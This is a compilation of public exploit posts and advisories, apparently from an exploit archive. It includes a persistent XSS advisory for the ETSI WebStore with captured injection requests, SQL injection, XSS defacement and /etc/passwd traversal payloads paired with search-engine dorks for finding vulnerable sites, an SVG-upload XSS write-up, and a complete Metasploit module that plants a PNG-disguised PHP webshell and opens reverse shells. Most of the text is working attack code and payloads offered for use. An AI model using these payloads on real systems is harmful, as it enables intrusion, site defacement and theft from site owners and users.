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<pre><code>Document Title: =============== ETSI WEBstore 2023 - Persistent Cross Site Vulnerability References (Source): ==================== https://www.vulnerability-lab.com/get_content.php?id=2327 Release Date: ============= 2023-07-26 Vulnerability Laboratory ID (VL-ID): ==================================== 2327 Common Vulnerability Scoring System: ==================================== 4.6 Vulnerability Class: ==================== Cross Site Scripting - Persistent Current Estimated Price: ======================== 1.000€ - 2.000€ Abstract Advisory Information: ============================== The vulnerability laboratory core research team discovered a persistent web vulnerability in the ETSI WebStore web-application. Affected Product(s): ==================== European Telecommunications Standards Institute (ETSI) Product: WEBstore 2023 - User Management (Web-Application) Vulnerability Disclosure Timeline: ================================== 2023-07-26: Public Disclosure (Vulnerability Laboratory) Discovery Status: ================= Published Exploitation Technique: ======================= Remote Severity Level: =============== Medium Authentication Type: ==================== Restricted Authentication (User Privileges) User Interaction: ================= Low User Interaction Disclosure Type: ================ Independent Security Research Technical Details & Description: ================================ A persistent input validation web vulnerability has been discovered in the official ETSI Webstore 2023 web-application. The vulnerability allows remote attackers to inject own malicious script codes with persistent attack vector to compromise browser to web-application requests from the application-side. The vulnerability is located in the all input fields of the NewOrModifyCustomer.asp registration / modify formular. Remote attackers are able to inject own malicious script code with persistent attack vector by an inject in the wrong sanitized input fields. The injection point is the registration or modify formular of the webstore. The execution points are located in the index, listarticle, myprofiles and user backend listing of the webstore web-appliation service. Successful exploitation of the vulnerability results in session hijacking, persistent phishing attacks, persistent external redirects to malicious source and persistent manipulation of affected application modules. Request Methode: [+] POST Vulnerable Inputs: [+] first name [+] last name [+] company name [+] address Affected Modules: [+] MyProfile [+] ListArticle [+] ShowCustomer Proof of Concept (PoC): ======================= The persistent input validation web vulnerability can be exploited by remote attackers with low privileged user account and low user interaction. For security demonstration or to reproduce the persistent cross site web vulnerability follow the provided information and steps below to continue. Manual steps to reproduce the vulnerability ... 1. Register an account for the etsi webstore using the registration formular 2. Inject script code payloads to the firstname, lastname, companyname and address input fields 3. Save the account by submit via post method request 4. Confirm the email and logon to the account Note: After the login the execution takes place in the header were the user data is show as well as in separated websites were adress data is displayed. On preview of the customer in the backend an execution of the malicious payload takes as well place. 5. Successful reproduce of the persistent web vulnerability! --- PoC Session Logs (POST) [Inject & Execute] --- https://webstore.etsi.org/ecommerce/ShowHideCustomer.asp Host: webstore.etsi.org Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8 Accept-Language: de,en-US;q=0.7,en;q=0.3 Accept-Encoding: gzip, deflate, br Content-Type: application/x-www-form-urlencoded Content-Length: 906 Origin:https://webstore.etsi.org Connection: keep-alive Referer:https://webstore.etsi.org/ecommerce/NewOrModifyCustomer.asp Cookie: list=2; _ga_L34WJL1P2Z=GS1.1.1690359581.2.1.1690359631.0.0.0; _ga=GA1.1.1806199158.1690355803; ASPSESSIONIDSWABCBBQ=IHBHHHFAJLDMIDCJINGNGIIK Upgrade-Insecure-Requests: 1 Sec-Fetch-Dest: document Sec-Fetch-Mode: navigate Sec-Fetch-Site: same-origin Sec-Fetch-User: ?1 NewOrExisting=NEW&eMail=tammy23@protonmail.com&password=cryptoag2&Company=A"><iframe src=https://shorturl.at/uFGNV onload=alert('TEA1-2-3-4')></iframe>&ClientCode=&ClientCodeCSA3=,&Fname=B"><iframe src=https://shorturl.at/uFGNV onload=alert('TEA1-2-3-4')></iframe>&member_orga_id=16173&Lname=C"><iframe src=https://shorturl.at/uFGNV onload=alert('TEA1-2-3-4')></iframe>&Address1=D"><iframe src=https://shorturl.&PostalCode=51221&Address2=E"><iframe src=https://shorturl.&City=Bremen"><iframe src=https://shorturl.at/uFGNV onload=alert('TEA1-2-3-4')></iframe>&Address3=F"><iframe src=https://shorturl.&Country=ALALBANIA&Phone=234534654364&Fax=&VATID=&FORM_DISCLAIMER=on&FORM_CAPTCHA=S430Q2&Submit=Submit - POST: HTTP/2.0 302 Found cache-control: private content-type: text/html location: Listarticle.asp?list=2 server: Microsoft-IIS/10.0 x-frame-options: SAMEORIGIN content-length: 143 - https://webstore.etsi.org/ecommerce/Listarticle.asp?list=2 Host: webstore.etsi.org Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8 Accept-Language: de,en-US;q=0.7,en;q=0.3 Accept-Encoding: gzip, deflate, br Referer:https://webstore.etsi.org/ecommerce/NewOrModifyCustomer.asp Connection: keep-alive Cookie: list=2; _ga_L34WJL1P2Z=GS1.1.1690359581.2.1.1690359631.0.0.0; _ga=GA1.1.1806199158.1690355803; ASPSESSIONIDSWABCBBQ=IHBHHHFAJLDMIDCJINGNGIIK Upgrade-Insecure-Requests: 1 Sec-Fetch-Dest: document Sec-Fetch-Mode: navigate Sec-Fetch-Site: same-origin Sec-Fetch-User: ?1 - POST: HTTP/2.0 200 OK cache-control: private content-type: text/html content-encoding: gzip vary: Accept-Encoding server: Microsoft-IIS/10.0 set-cookie: list=2; path=/ecommerce x-frame-options: SAMEORIGIN - https://webstore.etsi.org/ecommerce/ShowHideCustomer.asp Host: webstore.etsi.org Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8 Accept-Language: de,en-US;q=0.7,en;q=0.3 Accept-Encoding: gzip, deflate, br Content-Type: application/x-www-form-urlencoded Content-Length: 906 Origin:https://webstore.etsi.org Connection: keep-alive Referer:https://webstore.etsi.org/ecommerce/NewOrModifyCustomer.asp Cookie: list=2; _ga_L34WJL1P2Z=GS1.1.1690359581.2.1.1690359631.0.0.0; _ga=GA1.1.1806199158.1690355803; ASPSESSIONIDSWABCBBQ=IHBHHHFAJLDMIDCJINGNGIIK Upgrade-Insecure-Requests: 1 Sec-Fetch-Dest: document Sec-Fetch-Mode: navigate Sec-Fetch-Site: same-origin Sec-Fetch-User: ?1 NewOrExisting=NEW&eMail=tammy23@protonmail.com&password=cryptoag3&Company=A"><iframe src=https://shorturl.at/uFGNV onload=alert('TEA1-2-3-4')></iframe>&ClientCode=&ClientCodeCSA3=,&Fname=B"><iframe src=https://shorturl.at/uFGNV onload=alert('TEA1-2-3-4')></iframe>&member_orga_id=16173&Lname=C"><iframe src=https://shorturl.at/uFGNV onload=alert('TEA1-2-3-4')></iframe>&Address1=D"><iframe src=https://shorturl.&PostalCode=51221&Address2=E"><iframe src=https://shorturl.&City=Bremen"><iframe src=https://shorturl.at/uFGNV onload=alert('TEA1-2-3-4')></iframe>&Address3=F"><iframe src=https://shorturl.&Country=ALALBANIA&Phone=234534654364&Fax=&VATID=&FORM_DISCLAIMER=on&FORM_CAPTCHA=S430Q2&Submit=Submit - POST: HTTP/2.0 302 Found cache-control: private content-type: text/html location: Listarticle.asp?list=2 server: Microsoft-IIS/10.0 x-frame-options: SAMEORIGIN content-length: 143 - https://webstore.etsi.org/ecommerce/Listarticle.asp?list=2 Host: webstore.etsi.org Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8 Accept-Language: de,en-US;q=0.7,en;q=0.3 Accept-Encoding: gzip, deflate, br Referer:https://webstore.etsi.org/ecommerce/NewOrModifyCustomer.asp Connection: keep-alive Cookie: list=2; _ga_L34WJL1P2Z=GS1.1.1690359581.2.1.1690359631.0.0.0; _ga=GA1.1.1806199158.1690355803; ASPSESSIONIDSWABCBBQ=IHBHHHFAJLDMIDCJINGNGIIK Upgrade-Insecure-Requests: 1 Sec-Fetch-Dest: document Sec-Fetch-Mode: navigate Sec-Fetch-Site: same-origin Sec-Fetch-User: ?1 - POST: HTTP/2.0 200 OK cache-control: private content-type: text/html content-encoding: gzip vary: Accept-Encoding server: Microsoft-IIS/10.0 set-cookie: list=2; path=/ecommerce x-frame-options: SAMEORIGIN Vulnerable Source: Profile Header <div id="bloclogin"> <div id="identify"> B[MALICIOUS PAYLOAD EXECUTION]"><iframe src="https://shorturl.at/uFGNV" onload="alert('TEA1-2-3-4')"></iframe> &nbsp;C[MALICIOUS PAYLOAD EXECUTION]"><iframe src="https://shorturl.at/uFGNV" onload="alert('TEA1-2-3-4')"></iframe> A[MALICIOUS PAYLOAD EXECUTION]"><iframe src="https://shorturl.at/uFGNV" onload="alert('TEA1-2-3-4')"></iframe> </div> <input type="button" onclick="window.location.href = '/ecommerce/ChangeExistingCustomer.asp'" value="My profile" id="inputheaderleft"> <input type="button" onclick="logout()" value="Logout" id="inputheaderright"> </div> Vulnerable Source: MyProfile <tr> <td class="formlabel"> <label for="Company">Company name</label> </td> <td class="forminputleft"> <input tabindex="1" id="Company" class="inputform" name="Company" placeholder="Company name" value="A[MALICIOUS PAYLOAD EXECUTION]"><iframe src="https://shorturl.at/uFGNV" onload="alert('TEA1-2-3-4')"></iframe>"/> </td> <td class="formlabel"> Client Code </td> <td> <input type="hidden" name="ClientCode" value=""> <input type="hidden" name="ClientCodeCSA3" value=""> <input type="hidden" name="ClientCodeCSA3" value=""> </td> </tr> <tr> <td colspan="2"> </td> <td class="formlabel"> <label for="Fname">First name *</label> </td> <td class="forminputright"> <input id="Fname" tabindex="3" class="inputform" name="Fname" placeholder="First name" value="B[MALICIOUS PAYLOAD EXECUTION]"><iframe src="https://shorturl.at/uFGNV" onload="alert('TEA1-2-3-4')"></iframe>"> </td> </tr> <tr> <td class="formlabellong"> ... </td> <td class="formlabel"> <label for="Lname">Last name *</label> </td> <td> <input id="Lname" tabindex="6" class="inputform" placeholder="Last name" name="Lname" value="C[MALICIOUS PAYLOAD EXECUTION]"><iframe src="https://shorturl.at/uFGNV" onload="alert('TEA1-2-3-4')"></iframe>"> </td> </tr> References: https://webstore.etsi.org/ecommerce/ https://webstore.etsi.org/ecommerce/Listarticle.asp https://webstore.etsi.org/ecommerce/ShowHideCustomer.asp https://webstore.etsi.org/ecommerce/NewOrModifyCustomer.asp Security Risk: ============== The security risk of the persistent vulnerability in the webstore web-application of etsi is estimated as medium. Credits & Authors: ================== L. Guenther -https://www.vulnerability-lab.com/show.php?user=L.+Guenther Disclaimer & Information: ========================= The information provided in this advisory is provided as it is without any warranty. Vulnerability Lab disclaims all warranties, either expressed or implied, including the warranties of merchantability and capability for a particular purpose. Vulnerability-Lab or its suppliers are not liable in any case of damage, including direct, indirect, incidental, consequential loss of business profits or special damages, even if Vulnerability-Lab or its suppliers have been advised of the possibility of such damages. Some states do not allow the exclusion or limitation of liability for consequential or incidental damages so the foregoing limitation may not apply. We do not approve or encourage anybody to break any licenses, policies, deface websites, hack into databases or trade with stolen data. Domains: https://www.vulnerability-lab.com ; https://www.vuln-lab.com ;https://www.vulnerability-db.com Any modified copy or reproduction, including partially usages, of this file requires authorization from Vulnerability Laboratory. Permission to electronically redistribute this alert in its unmodified form is granted. All other rights, including the use of other media, are reserved by Vulnerability-Lab Research Team or its suppliers. All pictures, texts, advisories, source code, videos and other information on this website is trademark of vulnerability-lab team & the specific authors or managers. To record, list, modify, use or edit our material contact (admin@ or research@) to get a ask permission. Copyright © 2023 | Vulnerability Laboratory - [Evolution Security GmbH]™ -- VULNERABILITY LABORATORY (VULNERABILITY LAB) RESEARCH, BUG BOUNTY & RESPONSIBLE DISCLOSURE </code></pre>

<pre><code>==================================================================================================================================== | # Title : Journal Management Software V1.2.4 Sql injection | | # Author : indoushka | | # Tested on : windows 10 Français V.(Pro) / browser : Mozilla firefox 63.0.3 (32-bit) | | # Vendor : http://asanhamayesh.com/ | | # Dork : Designer Asan Journal (Journal Management Software) Ver. 1.2.4 | ==================================================================================================================================== poc : [+] Dorking İn Google Or Other Search Enggine [+] http://wwwjoavmcom/en/action.php?issue=1 <===== inject here [+] Panel : http://wwwjoavmcom/en/signin.php Greetings to :========================================================================================================================= jericho * Larry W. Cashdollar * brutelogic* shadow_00715 *9aylas*djroot.dz*LiquidWorm*Hussin-X*D4NB4R *ViRuS_Ra3cH *yasMouh* CraCkEr | ======================================================================================================================================= </code></pre>

<pre><code>==================================================================================================================================== | # Title : Joomla VirtueMart v2.6.12.2 SQL Injection Vulnerability | | # Author : indoushka | | # Tested on : windows 10 Français V.(Pro) / browser : Mozilla firefox 66.0.3(32-bit) | | # Vendor : http://dev.virtuemart.net/attachments/863/com_virtuemart.2.6.12.2.zip | ==================================================================================================================================== poc : [+] Dorking İn Google Or Other Search Enggine. [+] Use payload : index.php/headgear/results,1-60?filter_product=1 [+] http://127.0.0.1/Virtue/index.php/headgear/results,1-60?filter_product=1 = inject her [+] http://127.0.0.1/Virtue/administrator/ Greetings to :================================================================= jericho * Larry W. Cashdollar * shadow_00715 * LiquidWorm * Hussin-X * D4NB4R | =============================================================================== </code></pre>

<pre><code>==================================================================================================================================== | # Title : joomla jsn gruve pro v2.1.0 Directory traversal Vulnerability | | # Author : indoushka | | # Tested on : windows 10 Français V.(Pro) / browser : Mozilla firefox 63.0.3 (32-bit) | | # Vendor : https://www.joomlashine.com/joomlashine-news.html | ==================================================================================================================================== poc : [+] Dorking İn Google Or Other Search Enggine [+]Use payload : /index.php?Itemid=1&option=../../../../../../../../../../etc/passwd%00.jpg&searchphrase=all&searchword=the [+] http://127.0.0.1/joomlashine/index.php?Itemid=1&option=../../../../../../../../../../etc/passwd%00.jpg&searchphrase=all&searchword=the Greetings to :========================================================================================================================= jericho * Larry W. Cashdollar * brutelogic* shadow_00715 *9aylas*djroot.dz*LiquidWorm*Hussin-X*D4NB4R *ViRuS_Ra3cH *yasMouh* CraCkEr | ======================================================================================================================================= </code></pre>

<pre><code># Exploit Title: Availability Booking Calendar PHP - Multiple Issues # Date: 07/2023 # Exploit Author: Andrey Stoykov # Tested on: Ubuntu 20.04 # Blog: http://msecureltd.blogspot.com XSS #1: Steps to Reproduce: 1. Browse to Bookings 2. Select All Bookings 3. Edit booking and select Promo Code 4. Enter payload TEST"><script>alert(`XSS`)</script> // HTTP POST request POST /AvailabilityBookingCalendarPHP/index.php?controller=GzBooking&action=edit HTTP/1.1 Host: hostname User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/114.0 [...] [...] edit_booking=1&calendars_price=900&extra_price=0&tax=10&deposit=91&promo_code=TEST%22%3E%3Cscript%3Ealert%28%60XSS%60%29%3C%2Fscript%3E&discount=0&total=910&create_booking=1 [...] // HTTP response HTTP/1.1 200 OK Content-Type: text/html; charset=utf-8 Content-Length: 205 [...] // HTTP GET request to Bookings page GET /AvailabilityBookingCalendarPHP/index.php?controller=GzBooking&action=edit&id=2 HTTP/1.1 Host: hostname User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/114.0 [...] // HTTP response HTTP/1.1 200 OK Content-Type: text/html; charset=utf-8 Content-Length: 33590 [...] [...] <label class="control-label" for="promo_code">Promo code:</label> <input id="promo_code" class="form-control input-sm" type="text" name="promo_code" size="25" value="TEST"><script>alert(`XSS`)</script>" title="Promo code" placeholder=""> </div> [...] Unrestricted File Upload #1: // SVG file contents <?xml version="1.0" standalone="no"?> <!DOCTYPE svg PUBLIC "-//W3C//DTD SVG 1.1//EN" " http://www.w3.org/Graphics/SVG/1.1/DTD/svg11.dtd"> <svg version="1.1" baseProfile="full" xmlns="http://www.w3.org/2000/svg"> <polygon id="triangle" points="0,0 0,50 50,0" fill="#009900" stroke="#004400"/> <script type="text/javascript"> alert(`XSS`); </script> </svg> Steps to Reproduce: 1. Browse My Account 2. Image Browse -> Upload 3. Then right click on image 4. Select Open Image in New Tab // HTTP POST request POST /AvailabilityBookingCalendarPHP/index.php?controller=GzUser&action=edit&id=1 HTTP/1.1 Host: hostname User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/114.0 [...] [...] -----------------------------13831219578609189241212424546 Content-Disposition: form-data; name="img"; filename="xss.svg" Content-Type: image/svg+xml <?xml version="1.0" standalone="no"?> <!DOCTYPE svg PUBLIC "-//W3C//DTD SVG 1.1//EN" " http://www.w3.org/Graphics/SVG/1.1/DTD/svg11.dtd"> <svg version="1.1" baseProfile="full" xmlns="http://www.w3.org/2000/svg"> <polygon id="triangle" points="0,0 0,50 50,0" fill="#009900" stroke="#004400"/> <script type="text/javascript"> alert(`XSS`); </script> </svg> [...] // HTTP response HTTP/1.1 200 OK Content-Type: text/html; charset=utf-8 Content-Length: 190 [...] </code></pre>

<pre><code>==================================================================================================================================== | # Title : Joomla HotelGuide Components v1.0 XSS Vulnerability | | # Author : indoushka | | # Tested on : windows 10 Français V.(Pro) / browser : Mozilla firefox 65.0 (32-bit) | | # Vendor : https://extensions.joomla.org/category/vertical-markets/booking-a-reservations/ | | # Dork : inurl:''/index.php?option=com_hotelguide'' | ==================================================================================================================================== poc : [+] Dorking İn Google Or Other Search Enggine. [+] use payload : index.php?option=com_hotelguide&Itemid=28&view=city&id=<marquee>Hacked by indoushka</marquee> [+] http://127.0.0.1wllmedidatravel.com/index.php?option=com_hotelguide&Itemid=28&view=city&id=%3Cmarquee%3E%3Cfont%20color=lime%20size=32%3EHacked%20by%20indoushka%3C/font%3E%3C/marquee%3E Greetings to :========================================================================================================================= jericho * Larry W. Cashdollar * brutelogic* shadow_00715 *9aylas*djroot.dz*LiquidWorm*Hussin-X*D4NB4R *ViRuS_Ra3cH *yasMouh* CraCkEr | ======================================================================================================================================= </code></pre>

<pre><code>==================================================================================================================================== | # Title : Joomla com jomestate v4.0 Sql injection Vulnerability | | # Author : indoushka | | # Tested on : windows 10 Français V.(Pro) / browser : Mozilla firefox 63.0.3 (32-bit) | | # Vendor : https://comdev.eu/jomestate | | # Dork : Copyright (C) 2009 COMDEV. All rights reserved. | ==================================================================================================================================== poc : [+] Dorking İn Google Or Other Search Enggine. [+] Use Payload : index.php?option=com_jomestate&task=print&id= [+] /index.php?option=com_jomestate&task=print&id= inject her [+] /index.php?option=com_jomestate&task=detailed&ad_headline=[TOPIC-NAME]&id=[SQL Injection] Greetings to :========================================================================================================================= jericho * Larry W. Cashdollar * brutelogic* shadow_00715 *9aylas*djroot.dz*LiquidWorm*Hussin-X*D4NB4R *ViRuS_Ra3cH *yasMouh* CraCkEr | ======================================================================================================================================= </code></pre>

<pre><code>==================================================================================================================================== | # Title : Joomla com fireboard v1.3 SQL Injection Vulnerability | | # Author : indoushka | | # Tested on : windows 10 Français V.(Pro) / browser : Mozilla firefox 63.0.3 (32-bit) | | # Vendor : https://www.infosolutionsgoa.com/cms/fireboard-forum-joomla.html | | # Dork : index.php?option=com_fireboard&Itemid=53&func=1 | ==================================================================================================================================== poc : [+] Dorking İn Google Or Other Search Enggine. [+] use payload : /index.php?option=com_fireboard&Itemid=53&func=1 [+] http://www1.127.0.Mmaldi-msiorg/index.php?option=com_fireboard&Itemid=53&func=1 inject her Greetings to :========================================================================================================================= jericho * Larry W. Cashdollar * brutelogic* shadow_00715 *9aylas*djroot.dz*LiquidWorm*Hussin-X*D4NB4R *ViRuS_Ra3cH *yasMouh* CraCkEr | ======================================================================================================================================= </code></pre>

<pre><code>## # This module requires Metasploit: https://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking include Msf::Exploit::Remote::HttpClient include Msf::Exploit::CmdStager include Msf::Exploit::FileDropper include Msf::Exploit::Format::PhpPayloadPng include Msf::Exploit::Remote::HTTP::Wordpress prepend Msf::Exploit::Remote::AutoCheck def initialize(info = {}) super( update_info( info, 'Name' => 'Wordpress File Manager Advanced Shortcode 2.3.2 - Unauthenticated Remote Code Execution through shortcode', 'Description' => %q{ The Wordpress plugin does not adequately prevent uploading files with disallowed MIME types when using the shortcode. This leads to RCE in cases where the allowed MIME type list does not include PHP files. In the worst case, this is available to unauthenticated users, but is also works in an authenticated configuration. File Manager Advanced Shortcode plugin version `2.3.2` and lower are vulnerable. To install the Shortcode plugin File Manager Advanced version `5.0.5` or lower is required to keep the configuration vulnerable. Any user privileges can exploit this vulnerability which results in access to the underlying operating system with the same privileges under which the Wordpress web services run. }, 'Author' => [ 'h00die-gr3y <h00die.gr3y[at]gmail.com>', # Metasploit module 'Mateus Machado Tesser' # discovery ], 'References' => [ ['CVE', '2023-2068'], ['URL', 'https://attackerkb.com/topics/JncRCWZ5xm/cve-2023-2068'], ['PACKETSTORM', '172707'], ['WPVDB', '58f72953-56d2-4d86-a49b-311b5fc58056'] ], 'License' => MSF_LICENSE, 'Platform' => ['windows', 'unix', 'linux', 'php'], 'Privileged' => false, 'Arch' => [ARCH_CMD, ARCH_PHP, ARCH_X64, ARCH_X86, ARCH_AARCH64], 'Targets' => [ [ 'PHP', { 'Platform' => 'php', 'Arch' => ARCH_PHP, 'Type' => :php, 'DefaultOptions' => { 'PAYLOAD' => 'php/meterpreter/reverse_tcp' } } ], [ 'Unix Command', { 'Platform' => 'unix', 'Arch' => ARCH_CMD, 'Type' => :unix_cmd, 'DefaultOptions' => { 'PAYLOAD' => 'cmd/unix/reverse_bash' } } ], [ 'Linux Dropper', { 'Platform' => 'linux', 'Arch' => [ARCH_X64, ARCH_X86, ARCH_AARCH64], 'Type' => :linux_dropper, 'Linemax' => 65535, 'CmdStagerFlavor' => ['wget', 'curl', 'printf', 'bourne'], 'DefaultOptions' => { 'PAYLOAD' => 'linux/x64/meterpreter/reverse_tcp' } } ], [ 'Windows Command', { 'Platform' => 'win', 'Arch' => ARCH_CMD, 'Type' => :windows_cmd, 'DefaultOptions' => { 'PAYLOAD' => 'cmd/windows/powershell/x64/meterpreter/reverse_tcp' } } ], [ 'Windows Dropper', { 'Platform' => 'win', 'Arch' => [ARCH_X64, ARCH_X86], 'Type' => :windows_dropper, 'Linemax' => 3000, 'CmdStagerFlavor' => ['psh_invokewebrequest', 'vbs', 'debug_asm', 'debug_write', 'certutil'], 'DefaultOptions' => { 'PAYLOAD' => 'windows/x64/meterpreter/reverse_tcp' } } ] ], 'DefaultTarget' => 0, 'DisclosureDate' => '2023-05-31', 'DefaultOptions' => { 'SSL' => false, 'RPORT' => 80 }, 'Notes' => { 'Stability' => [CRASH_SAFE], 'SideEffects' => [ARTIFACTS_ON_DISK, IOC_IN_LOGS], 'Reliability' => [REPEATABLE_SESSION] } ) ) register_options( [ OptString.new('TARGETURI', [true, 'File Manager Advanced (FMA) Shortcode URI path', '/']), OptString.new('WEBSHELL', [ false, 'The name of the webshell with extension php. Webshell name will be randomly generated if left unset.', nil ]), OptEnum.new('COMMAND', [true, 'Use PHP command function', 'passthru', %w[passthru shell_exec system exec]], conditions: %w[TARGET != 0]) ] ) end def get_form_data(png_webshell) # construct multipart form data form_data = Rex::MIME::Message.new form_data.add_part('', nil, nil, 'form-data; name="reqid"') form_data.add_part('upload', nil, nil, 'form-data; name="cmd"') form_data.add_part('l1_Lw', nil, nil, 'form-data; name="target"') form_data.add_part('fma_load_shortcode_fma_ui', nil, nil, 'form-data; name="action"') form_data.add_part(@wp_data['fmakey'].to_s, nil, nil, 'form-data; name="_fmakey"') form_data.add_part(@upload_path.to_s, nil, nil, 'form-data; name="path"') form_data.add_part('', nil, nil, 'form-data; name="url"') form_data.add_part('false', nil, nil, 'form-data; name="w"') form_data.add_part('true', nil, nil, 'form-data; name="r"') form_data.add_part('plugins', nil, nil, 'form-data; name="hide"') form_data.add_part('upload,download', nil, nil, 'form-data; name="operations"') form_data.add_part('inside', nil, nil, 'form-data; name="path_type"') form_data.add_part('no', nil, nil, 'form-data; name="hide_path"') form_data.add_part('no', nil, nil, 'form-data; name="enable_trash"') form_data.add_part('image/png,text/x-php', nil, nil, 'form-data; name="upload_allow"') form_data.add_part('2G', nil, nil, 'form-data; name="upload_max_size"') form_data.add_part(png_webshell.to_s, 'image/png, text/x-php', 'binary', "form-data; name=\"upload[]\"; filename=\"#{@webshell_name}\"") form_data.add_part('', nil, nil, 'form-data; name="mtime[]"') return form_data end def upload_webshell # randomize file name if option WEBSHELL is not set @webshell_name = (datastore['WEBSHELL'].blank? ? "#{Rex::Text.rand_text_alpha(8..16)}.php" : datastore['WEBSHELL'].to_s) @post_param = Rex::Text.rand_text_alphanumeric(1..8) @get_param = Rex::Text.rand_text_alphanumeric(1..8) payload = if target['Type'] == :php "<?php @eval(base64_decode($_POST[\'#{@post_param}\']));?>" else "<?=$_GET[\'#{@get_param}\'](base64_decode($_POST[\'#{@post_param}\']));?>" end # inject PHP payload into the PLTE chunk of the PNG image to bypass security such as Wordfence png_webshell = inject_php_payload_png(payload, injection_method: 'PLTE') if png_webshell.nil? return false end # Upload payload in Wordpress root for execution # try again at the configured upload directory if LFI fails @upload_path = '' no_break = true loop do form_data = get_form_data(png_webshell) res = send_request_cgi({ 'method' => 'POST', 'uri' => normalize_uri('/', @wp_data['baseurl'], 'wp-admin', 'admin-ajax.php'), 'ctype' => "multipart/form-data; boundary=#{form_data.bound}", 'data' => form_data.to_s }) if res && res.code == 200 && !res.body.blank? # parse json to find the webshell name embedded in the response at the "added" section that indicates a successful upload res_json = res.get_json_document return false if res_json.blank? return true if res_json.dig('added', 0, 'name') == @webshell_name # If we face an upload permission error, use the configured upload directory path to upload the payload # We might not have execution rights there, but at least we can try ;-) if res_json.dig('warning', 0) == 'errUploadFile' && res_json.dig('warning', 2) == 'errPerm' && no_break @upload_path = @wp_data['path'] no_break = false else return false end else return false end end end def execute_php(cmd, _opts = {}) payload = Base64.strict_encode64(cmd) send_request_cgi({ 'method' => 'POST', 'uri' => normalize_uri('/', @wp_data['baseurl'], @upload_path, @webshell_name), 'ctype' => 'application/x-www-form-urlencoded', 'vars_post' => { @post_param => payload } }) end def execute_command(cmd, _opts = {}) payload = Base64.strict_encode64(cmd) php_cmd_function = datastore['COMMAND'] send_request_cgi({ 'method' => 'POST', 'uri' => normalize_uri('/', @wp_data['baseurl'], @upload_path, @webshell_name), 'ctype' => 'application/x-www-form-urlencoded', 'vars_get' => { @get_param => php_cmd_function }, 'vars_post' => { @post_param => payload } }) end def check_fma_shortcode_plugin # check if fma shortcode plugin is installed and return fmakey, upload directory path and Wordpress base url @wp_data = {} res = send_request_cgi!({ 'method' => 'GET', 'uri' => normalize_uri(datastore['TARGETURI']) }) if res && res.body && res.code == 200 # 1. Get the fmakey information by searching for strings: # /_fmakey: '1555ef603c',/ or /_fmakey:'1555ef603c',/ or /"fmakey":"1555ef603c",/ fmakey_match1 = res.body.match(/_fmakey:.*'.*',/) fmakey_match2 = res.body.match(/"fmakey":".*",/) return if fmakey_match1.nil? && fmakey_match2.nil? if fmakey_match1 @wp_data['fmakey'] = fmakey_match1[0].split(',')[0].split(':')[1].tr('\'', '').strip else @wp_data['fmakey'] = fmakey_match2[0].split(',')[0].split(':')[1].tr('"', '').strip end # 2. Get the upload directory path information by searching for strings: # /path: 'upload',/ or /path:'upload',/ or /"path":"upload",/ path_match1 = res.body.match(/path:.*'.*',/) path_match2 = res.body.match(/"path":".*",/) return if path_match1.nil? && path_match2.nil? if path_match1 @wp_data['path'] = path_match1[0].split(',')[0].split(':')[1].tr('\'', '').strip else @wp_data['path'] = path_match2[0].split(',')[0].split(':')[1].tr('"', '').strip end # 3. Determine Wordpress baseurl # search in html content for: # <script src='http(s)://ip/<wp-base>/wp-content/plugins/file-manager-advanced-shortcode/js/shortcode.js?ver=6.2.2' id='fma-shortcode-js-js'></script> # split off /wp-content and http(s)://ip part to determine the <wp-base> which can be empty. baseurl_match = res.body.match(%r{src=.*wp-content/plugins/file-manager-advanced-shortcode/}) return if baseurl_match.nil? @wp_data['baseurl'] = baseurl_match[0].split('/wp-content')[0].split('/')[3] end end def check return CheckCode::Safe('Server not online or not detected as WordPress.') unless wordpress_and_online? check_fma_shortcode_plugin return CheckCode::Safe("Could not find fmakey. Shortcode plugin not installed or check your TARGETURI \"#{datastore['TARGETURI']}\" setting.") if @wp_data['fmakey'].nil? CheckCode::Appears("fmakey successfully retrieved: #{@wp_data['fmakey']}") end def exploit # check if fmakey is already set from the check method otherwise try to find the key. check_fma_shortcode_plugin unless datastore['AutoCheck'] fail_with(Failure::NotVulnerable, "Could not find fmakey. Shortcode plugin not installed or check your TARGETURI \"#{datastore['TARGETURI']}\" setting.") if @wp_data['fmakey'].nil? fail_with(Failure::NotVulnerable, "Webshell #{@webshell_name} upload failed.") unless upload_webshell register_file_for_cleanup(@webshell_name.to_s) print_status("Executing #{target.name} for #{datastore['PAYLOAD']}") case target['Type'] when :php execute_php(payload.encoded) when :unix_cmd, :windows_cmd execute_command(payload.encoded) when :linux_dropper, :windows_dropper execute_cmdstager({ linemax: target.opts['Linemax'] }) end end end </code></pre>